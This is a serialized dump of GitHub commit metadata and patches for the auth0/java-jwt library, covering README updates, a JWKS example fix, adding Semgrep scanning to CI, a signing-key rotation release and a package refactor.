+If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will be thrown.
 
-## What is Auth0?
+See the [examples](./EXAMPLES.md) and [JavaDocs](https://javadoc.io/doc/com.auth0/java-jwt/latest) for additional documentation.
 
-Auth0 helps you to:
+## API Reference
 
-* Add authentication with [multiple authentication sources](https://auth0.com/docs/identityproviders), either social like **Google, Facebook, Microsoft Account, LinkedIn, GitHub, Twitter, Box, Salesforce, among others**, or enterprise identity systems like **Windows Azure AD, Google Apps, Active Directory, ADFS or any SAML Identity Provider**.
-* Add authentication through more traditional **[username/password databases](https://auth0.com/docs/connections/database)**.
-* Add support for **[linking different user accounts](https://auth0.com/docs/users/user-account-linking)** with the same user.
-* Support for generating signed [Json Web Tokens](https://auth0.com/docs/tokens/json-web-tokens) to call your APIs and **flow the user identity** securely.
-* Analytics of how, when and where users are logging in.
-* Pull data from other sources and add it to the user profile, through [JavaScript rules](https://auth0.com/docs/rules).
+- [java-jwt JavaDocs](https://javadoc.io/doc/com.auth0/java-jwt/latest)
 
-## Create a free account in Auth0
+## Feedback
 
-1. Go to [Auth0](https://auth0.com) and click Sign Up.
-2. Use Google, GitHub or Microsoft Account to login.
+### Contributing
 
-## Issue Reporting
+We appreciate feedback and contribution to this repo! Before you get started, please see the following:
 
-If you have found a bug or if you have a feature request, please report them at this repository issues section. Please do not report security vulnerabilities on the public GitHub issue tracker. The [Responsible Disclosure Program](https://auth0.com/whitehat) details the procedure for disclosing security issues.
+- [Auth0's general contribution guidelines](https://github.com/auth0/open-source-template/blob/master/GENERAL-CONTRIBUTING.md)
+- [Auth0's code of conduct guidelines]((https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md))
 
-## Author
+### Raise an issue
+To provide feedback or report a bug, [please raise an issue on our issue tracker](https://github.com/auth0/java-jwt/issues).
 
-[Auth0](https://auth0.com/)
+### Vulnerability Reporting
+Please do not report security vulnerabilities on the public Github issue tracker. The [Responsible Disclosure Program](https://auth0.com/whitehat) details the procedure for disclosing security issues.
 
-## License
+---
 
-This project is licensed under the MIT license. See the [LICENSE](LICENSE) file for more info.
+<p align="center">
+  <picture>
+    <source media="(prefers-color-scheme: light)" srcset="./assets/auth0_light_mode.png"   width="150">
+    <source media="(prefers-color-scheme: dark)" srcset="./assets/auth0_dark_mode.png" width="150">
+    <img alt="Auth0 Logo" src="./auth0_light_mode.png" width="150">
+  </picture>
+</p>
+<p align="center">Auth0 is an easy to implement, adaptable authentication and authorization platform. To learn more checkout <a href="https://auth0.com/why-auth0">Why Auth0?</a></p>
+<p align="center">
+This project is licensed under the MIT license. See the <a href="./LICENSE"> LICENSE</a> file for more info.</p>u4      }(jf  (17d74687fb402749e4b106a600ba8b653b89edcfj}f  assets/auth0_dark_mode.pngjf  addedjwf  K jxf  K jf  K jf  lhttps://github.com/auth0/java-jwt/blob/e6740d90b50bcf46e8ff70d5823b0386450f06c0/assets%2Fauth0_dark_mode.pngjf  khttps://github.com/auth0/java-jwt/raw/e6740d90b50bcf46e8ff70d5823b0386450f06c0/assets%2Fauth0_dark_mode.pngjf  ~https://api.github.com/repos/auth0/java-jwt/contents/assets%2Fauth0_dark_mode.png?ref=e6740d90b50bcf46e8ff70d5823b0386450f06c0u}(jf  (334f7e523595d60561c8edb1d45cc1c4819184e8j}f  assets/auth0_light_mode.pngjf  addedjwf  K jxf  K jf  K jf  mhttps://github.com/auth0/java-jwt/blob/e6740d90b50bcf46e8ff70d5823b0386450f06c0/assets%2Fauth0_light_mode.pngjf  lhttps://github.com/auth0/java-jwt/raw/e6740d90b50bcf46e8ff70d5823b0386450f06c0/assets%2Fauth0_light_mode.pngjf  https://api.github.com/repos/auth0/java-jwt/contents/assets%2Fauth0_light_mode.png?ref=e6740d90b50bcf46e8ff70d5823b0386450f06c0ueu(0bf73a60152ff86014d6687c336851fe78190aba}(sha(0bf73a60152ff86014d6687c336851fe78190abanode_idEC_kwDOAQtL0doAKDBiZjczYTYwMTUyZmY4NjAxNGQ2Njg3YzMzNjg1MWZlNzgxOTBhYmEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-07-22T08:59:13Zu	committer}(jf  
Poovamraj T Tjf  poovamraj@gmail.comjf  2022-07-22T08:59:13Zumessage(Provide straightforward example for JWKStree}(jf  (a437b3b5507de3908e8f02ba749057d64a1c4316url^https://api.github.com/repos/auth0/java-jwt/git/trees/a437b3b5507de3908e8f02ba749057d64a1c4316ujf  `https://api.github.com/repos/auth0/java-jwt/git/commits/0bf73a60152ff86014d6687c336851fe78190aba
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujf  \https://api.github.com/repos/auth0/java-jwt/commits/0bf73a60152ff86014d6687c336851fe78190abahtml_urlQhttps://github.com/auth0/java-jwt/commit/0bf73a60152ff86014d6687c336851fe78190abacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0bf73a60152ff86014d6687c336851fe78190aba/commentsjf  }(login	poovamrajidJ jf  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jf  &https://api.github.com/users/poovamrajjf  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujf  }(jf  	poovamrajjf  J jf  MDQ6VXNlcjE1OTEwNDI1jf  4https://avatars.githubusercontent.com/u/15910425?v=4jf  h3jf  &https://api.github.com/users/poovamrajjf  https://github.com/poovamrajjf  0https://api.github.com/users/poovamraj/followersjf  =https://api.github.com/users/poovamraj/following{/other_user}jf  6https://api.github.com/users/poovamraj/gists{/gist_id}jf  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jf  4https://api.github.com/users/poovamraj/subscriptionsjf  +https://api.github.com/users/poovamraj/orgsjf  ,https://api.github.com/users/poovamraj/reposjf  7https://api.github.com/users/poovamraj/events{/privacy}jf  6https://api.github.com/users/poovamraj/received_eventsjf  Userjf  uparents]}(jf  (f799e589c3d43de318c7ca0f0c36e462297db973jf  \https://api.github.com/repos/auth0/java-jwt/commits/f799e589c3d43de318c7ca0f0c36e462297db973jf  Qhttps://github.com/auth0/java-jwt/commit/f799e589c3d43de318c7ca0f0c36e462297db973uastats}(totalK	additionsK	deletionsKufiles]}(jf  (822e9db7483b8774e8f7b0344554de75264505cafilename	README.mdstatusmodifiedjg  Kjg  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/0bf73a60152ff86014d6687c336851fe78190aba/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/0bf73a60152ff86014d6687c336851fe78190aba/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=0bf73a60152ff86014d6687c336851fe78190abapatchX  @@ -199,18 +199,18 @@ By using a `KeyProvider` you can change in runtime the key used either to verify
 - `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
 
 
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
 
 ```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final JwkProvider jwkStore = new UrlJwkProvider("https://samples.auth0.com/");
 final RSAPrivateKey privateKey = //Get the key instance
 final String privateKeyId = //Create an Id for the above key
 
 RSAKeyProvider keyProvider = new RSAKeyProvider() {
     @Override
     public RSAPublicKey getPublicKeyById(String kid) {
         //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
+        PublicKey publicKey = jwkStore.get(kid).getPublicKey();
         return (RSAPublicKey) publicKey;
     }
 uau(537f9863b8d3297d7aa7660094a690e5909afdf8}(sha(537f9863b8d3297d7aa7660094a690e5909afdf8node_idEC_kwDOAQtL0doAKDUzN2Y5ODYzYjhkMzI5N2Q3YWE3NjYwMDk0YTY5MGU1OTA5YWZkZjgcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-04-14T20:32:58Zu	committer}(jg  GitHubj!g  noreply@github.comj#g  2022-04-14T20:32:58ZumessageAdd Semgrep to continuous integration tests

This PR updates the CircleCI workflow for v4 to add Semgrep automated security testing to the continuous integration tests.tree}(jg  (1b5e095ffa8112acba2cebeeb757d811d5e12accurl^https://api.github.com/repos/auth0/java-jwt/git/trees/1b5e095ffa8112acba2cebeeb757d811d5e12accuj/g  `https://api.github.com/repos/auth0/java-jwt/git/commits/537f9863b8d3297d7aa7660094a690e5909afdf8
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiWIT6CRBK7hj4Ov3rIwAAtmsIAG4pYPMXS7xYs3WNUuj2i9Cv
bxjKx/NetAkBP/baZjJTAd7It8yIz4egzDls+1aBFjpFussSF59bzkIrAs5mc3aw
ZqKq8XRToBXshU+BuZUI5/ob0Ft64ENb5H8tVYy2e/+oS8haaDPhAyqylXoK8Ec8
Qdo171+WBqOkir/UsttEiIdnOcfyRaT9Iy+MSmlfsI6IqDkj2kxiKjiqAGBaoXt9
ojF7Hc0zxVW1BKAkqQsVlCmj6O3McbWpjXDGSjFzpktfEw9E1zDOUMUiwi8ux9nJ
KiuwV1TuUz6B8XA7jJ1jKp80AewAMk6ak+u+HLzRBjZabAkPpl66STyxxTA76ps=
=aS6N
-----END PGP SIGNATURE-----
payloadXv  tree 1b5e095ffa8112acba2cebeeb757d811d5e12acc
parent c82c1500b50010734e3d2336046f82c2504db16f
author Evan Sims <evan.sims@auth0.com> 1649968378 -0400
committer GitHub <noreply@github.com> 1649968378 -0400

Add Semgrep to continuous integration tests

This PR updates the CircleCI workflow for v4 to add Semgrep automated security testing to the continuous integration tests.uuj/g  \https://api.github.com/repos/auth0/java-jwt/commits/537f9863b8d3297d7aa7660094a690e5909afdf8html_urlQhttps://github.com/auth0/java-jwt/commit/537f9863b8d3297d7aa7660094a690e5909afdf8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/537f9863b8d3297d7aa7660094a690e5909afdf8/commentsjg  }(loginevansimsidMjg  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j/g  %https://api.github.com/users/evansimsj=g  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj%g  }(jBg  web-flowjDg  J/jg  MDQ6VXNlcjE5ODY0NDQ3jFg  4https://avatars.githubusercontent.com/u/19864447?v=4jHg  h3j/g  %https://api.github.com/users/web-flowj=g  https://github.com/web-flowjKg  /https://api.github.com/users/web-flow/followersjMg  <https://api.github.com/users/web-flow/following{/other_user}jOg  5https://api.github.com/users/web-flow/gists{/gist_id}jQg  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jSg  3https://api.github.com/users/web-flow/subscriptionsjUg  *https://api.github.com/users/web-flow/orgsjWg  +https://api.github.com/users/web-flow/reposjYg  6https://api.github.com/users/web-flow/events{/privacy}j[g  5https://api.github.com/users/web-flow/received_eventsj]g  Userj_g  uparents]}(jg  (c82c1500b50010734e3d2336046f82c2504db16fj/g  \https://api.github.com/repos/auth0/java-jwt/commits/c82c1500b50010734e3d2336046f82c2504db16fj=g  Qhttps://github.com/auth0/java-jwt/commit/c82c1500b50010734e3d2336046f82c2504db16fuastats}(totalK	additionsK	deletionsKufiles]}(jg  (14f9652e5212f653663db438bb2c0be1210a6edffilename.circleci/config.ymlstatusmodifiedjyg  Kjzg  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/537f9863b8d3297d7aa7660094a690e5909afdf8/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/537f9863b8d3297d7aa7660094a690e5909afdf8/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=537f9863b8d3297d7aa7660094a690e5909afdf8patchX  @@ -53,11 +53,26 @@ jobs:
 #      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
 #      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
 #      TERM: dumb
+  semgrep:
+    docker:
+      - image: returntocorp/semgrep-agent:v1
+    environment:
+      SEMGREP_REPO_NAME: "auth0/java-jwt"
+      SEMGREP_REPO_URL: "https://github.com/auth0/java-jwt"
+    steps:
+      - checkout
+      - run:
+          name: Run vulnerabilities tests (Semgrep)
+          command: |
+            semgrep-agent --baseline-ref v4-dev --publish-token $SEMGREP_TOKEN
 
 workflows:
   build-and-test:
     jobs:
       - build
+      - semgrep:
+          context:
+            - semgrep-env
 #  api-diff:
 #    jobs:
-#      - api-diff
\ No newline at end of file
+#      - api-diffuau(3e63e91735feed49411904835d9cb27f872220e5}(sha(3e63e91735feed49411904835d9cb27f872220e5node_idEC_kwDOAQtL0doAKDNlNjNlOTE3MzVmZWVkNDk0MTE5MDQ4MzVkOWNiMjdmODcyMjIwZTUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-01-11T12:37:50Zu	committer}(jg  Jim Andersonjg  jimranderson@gmail.comjg  2023-01-11T16:38:26ZumessageRelease 3.19.4tree}(jg  (bddd643697165e5593b958f3ec38285f99f0730aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/bddd643697165e5593b958f3ec38285f99f0730aujg  `https://api.github.com/repos/auth0/java-jwt/git/commits/3e63e91735feed49411904835d9cb27f872220e5
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujg  \https://api.github.com/repos/auth0/java-jwt/commits/3e63e91735feed49411904835d9cb27f872220e5html_urlQhttps://github.com/auth0/java-jwt/commit/3e63e91735feed49411904835d9cb27f872220e5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3e63e91735feed49411904835d9cb27f872220e5/commentsjg  }(login
jimmyjamesidJ7 jg  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jg  'https://api.github.com/users/jimmyjamesjg  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujg  }(jg  
jimmyjamesjg  J7 jg  MDQ6VXNlcjI3NjIyNQ==jg  2https://avatars.githubusercontent.com/u/276225?v=4jg  h3jg  'https://api.github.com/users/jimmyjamesjg  https://github.com/jimmyjamesjg  1https://api.github.com/users/jimmyjames/followersjg  >https://api.github.com/users/jimmyjames/following{/other_user}jg  7https://api.github.com/users/jimmyjames/gists{/gist_id}jg  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jg  5https://api.github.com/users/jimmyjames/subscriptionsjg  ,https://api.github.com/users/jimmyjames/orgsjg  -https://api.github.com/users/jimmyjames/reposjg  8https://api.github.com/users/jimmyjames/events{/privacy}jg  7https://api.github.com/users/jimmyjames/received_eventsjg  Userjg  uparents]}(jg  (3f5df48e012cae624a0d77ed0cda61aad6b5d9e6jg  \https://api.github.com/repos/auth0/java-jwt/commits/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6jg  Qhttps://github.com/auth0/java-jwt/commit/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6uastats}(totalK	additionsK	deletionsKufiles](}(jg  (f22b8da7ff2d670310d00c0189a856723355ff2dfilenameCHANGELOG.mdstatusmodifiedjg  Kjg  K changesKblob_url\https://github.com/auth0/java-jwt/blob/3e63e91735feed49411904835d9cb27f872220e5/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/3e63e91735feed49411904835d9cb27f872220e5/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=3e63e91735feed49411904835d9cb27f872220e5patchXx  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.4](https://github.com/auth0/java-jwt/tree/3.19.4) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.3...3.19.4) 
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/v3/README.md)
+
 ## [3.19.3](https://github.com/auth0/java-jwt/tree/3.19.3) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...3.19.3)
 u}(jg  (6f0593516b855a2944288ec7873fa7c529666bf8jg  	README.mdjg  modifiedjg  Kjg  Kjg  K
jg  Yhttps://github.com/auth0/java-jwt/blob/3e63e91735feed49411904835d9cb27f872220e5/README.mdjg  Xhttps://github.com/auth0/java-jwt/raw/3e63e91735feed49411904835d9cb27f872220e5/README.mdjg  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=3e63e91735feed49411904835d9cb27f872220e5jg  XP  @@ -7,6 +7,12 @@
 [![License](https://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org)
 [![Javadoc](https://javadoc.io/badge2/com.auth0/java-jwt/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+> 
+> While this change won’t affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can’t be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
+
 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
 > :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
@@ -25,14 +31,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.3</version>
+    <version>3.19.4</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.3'
+implementation 'com.auth0:java-jwt:3.19.4'
 ```
 
 ## Available Algorithmsueu(ab54205f690e60c93216ca4f22208d0ca58428e0}(sha(ab54205f690e60c93216ca4f22208d0ca58428e0node_idEC_kwDOAQtL0doAKGFiNTQyMDVmNjkwZTYwYzkzMjE2Y2E0ZjIyMjA4ZDBjYTU4NDI4ZTAcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T02:07:34Zu	committer}(jh  Jim Andersonjh  jimranderson@gmail.comjh  2022-10-25T21:41:09Zumessage
add bannertree}(jh  (349c261985f8b5d4515836e203e8bdc946f57a84url^https://api.github.com/repos/auth0/java-jwt/git/trees/349c261985f8b5d4515836e203e8bdc946f57a84uj#h  `https://api.github.com/repos/auth0/java-jwt/git/commits/ab54205f690e60c93216ca4f22208d0ca58428e0
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj#h  \https://api.github.com/repos/auth0/java-jwt/commits/ab54205f690e60c93216ca4f22208d0ca58428e0html_urlQhttps://github.com/auth0/java-jwt/commit/ab54205f690e60c93216ca4f22208d0ca58428e0comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ab54205f690e60c93216ca4f22208d0ca58428e0/commentsjh  }(login
jimmyjamesidJ7 j
h  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j#h  'https://api.github.com/users/jimmyjamesj/h  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujh  }(j4h  
jimmyjamesj6h  J7 j
h  MDQ6VXNlcjI3NjIyNQ==j8h  2https://avatars.githubusercontent.com/u/276225?v=4j:h  h3j#h  'https://api.github.com/users/jimmyjamesj/h  https://github.com/jimmyjamesj=h  1https://api.github.com/users/jimmyjames/followersj?h  >https://api.github.com/users/jimmyjames/following{/other_user}jAh  7https://api.github.com/users/jimmyjames/gists{/gist_id}jCh  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jEh  5https://api.github.com/users/jimmyjames/subscriptionsjGh  ,https://api.github.com/users/jimmyjames/orgsjIh  -https://api.github.com/users/jimmyjames/reposjKh  8https://api.github.com/users/jimmyjames/events{/privacy}jMh  7https://api.github.com/users/jimmyjames/received_eventsjOh  UserjQh  uparents]}(jh  (0d84c680047c422e5ff915a8cbb6d31e18ebfc28j#h  \https://api.github.com/repos/auth0/java-jwt/commits/0d84c680047c422e5ff915a8cbb6d31e18ebfc28j/h  Qhttps://github.com/auth0/java-jwt/commit/0d84c680047c422e5ff915a8cbb6d31e18ebfc28uastats}(totalK	additionsK	deletionsKufiles]}(jh  (80fe4666321ff305f899d0a59583cc9e2e1e6782filename	README.mdstatusmodifiedjkh  Kjlh  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/ab54205f690e60c93216ca4f22208d0ca58428e0/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/ab54205f690e60c93216ca4f22208d0ca58428e0/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=ab54205f690e60c93216ca4f22208d0ca58428e0patchX$  @@ -1,6 +1,4 @@
-# Java JWT
-
-A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519)
+![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
 [![Coverage Status](https://img.shields.io/codecov/c/github/auth0/java-jwt.svg?style=flat-square)](https://codecov.io/github/auth0/java-jwt)uau(9f5a068ab0eee4264eebae3145c92b2259045a48}(sha(9f5a068ab0eee4264eebae3145c92b2259045a48node_idEC_kwDOAQtL0doAKDlmNWEwNjhhYjBlZWU0MjY0ZWViYWUzMTQ1YzkyYjIyNTkwNDVhNDgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-12T13:41:54Zu	committer}(jh  
Poovamraj T Tjh  poovamraj@gmail.comjh  2022-04-12T13:41:54Zumessage<Refactor ExpectedCheckHolder from interfaces to impl packagetree}(jh  (335e29633143c9f60ddae9293f4f8677e6d786a0url^https://api.github.com/repos/auth0/java-jwt/git/trees/335e29633143c9f60ddae9293f4f8677e6d786a0ujh  `https://api.github.com/repos/auth0/java-jwt/git/commits/9f5a068ab0eee4264eebae3145c92b2259045a48
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujh  \https://api.github.com/repos/auth0/java-jwt/commits/9f5a068ab0eee4264eebae3145c92b2259045a48html_urlQhttps://github.com/auth0/java-jwt/commit/9f5a068ab0eee4264eebae3145c92b2259045a48comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9f5a068ab0eee4264eebae3145c92b2259045a48/commentsjh  }(login	poovamrajidJ jh  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jh  &https://api.github.com/users/poovamrajjh  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujh  }(jh  	poovamrajjh  J jh  MDQ6VXNlcjE1OTEwNDI1jh  4https://avatars.githubusercontent.com/u/15910425?v=4jh  h3jh  &https://api.github.com/users/poovamrajjh  https://github.com/poovamrajjh  0https://api.github.com/users/poovamraj/followersjh  =https://api.github.com/users/poovamraj/following{/other_user}jh  6https://api.github.com/users/poovamraj/gists{/gist_id}jh  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jh  4https://api.github.com/users/poovamraj/subscriptionsjh  +https://api.github.com/users/poovamraj/orgsjh  ,https://api.github.com/users/poovamraj/reposjh  7https://api.github.com/users/poovamraj/events{/privacy}jh  6https://api.github.com/users/poovamraj/received_eventsjh  Userjh  uparents]}(jh  (566aeb6322f51bb2674e751b62827d26c150dd57jh  \https://api.github.com/repos/auth0/java-jwt/commits/566aeb6322f51bb2674e751b62827d26c150dd57jh  Qhttps://github.com/auth0/java-jwt/commit/566aeb6322f51bb2674e751b62827d26c150dd57uastats}(totalK	additionsK	deletionsKufiles](}(jh  (7721364151191d76194cd419fb28cd7a40f783f5filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjh  Kjh  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/9f5a068ab0eee4264eebae3145c92b2259045a48/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9f5a068ab0eee4264eebae3145c92b2259045a48/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=9f5a068ab0eee4264eebae3145c92b2259045a48patchX=  @@ -6,7 +6,7 @@
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
-import com.auth0.jwt.interfaces.ExpectedCheckHolder;
+import com.auth0.jwt.impl.ExpectedCheckHolder;
 import com.auth0.jwt.interfaces.Verification;
 
 import java.time.Clock;u}(jh  (6737031c32b91ff1d666e35e16f317fc81664ed8jh  =lib/src/main/java/com/auth0/jwt/impl/ExpectedCheckHolder.javajh  renamedjh  Kjh  Kjh  Kjh  https://github.com/auth0/java-jwt/blob/9f5a068ab0eee4264eebae3145c92b2259045a48/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.javajh  https://github.com/auth0/java-jwt/raw/9f5a068ab0eee4264eebae3145c92b2259045a48/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.javajh  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FExpectedCheckHolder.java?ref=9f5a068ab0eee4264eebae3145c92b2259045a48jh  @@ -1,4 +1,7 @@
-package com.auth0.jwt.interfaces;
+package com.auth0.jwt.impl;
+
+import com.auth0.jwt.interfaces.Claim;
+import com.auth0.jwt.interfaces.DecodedJWT;
 
 /**
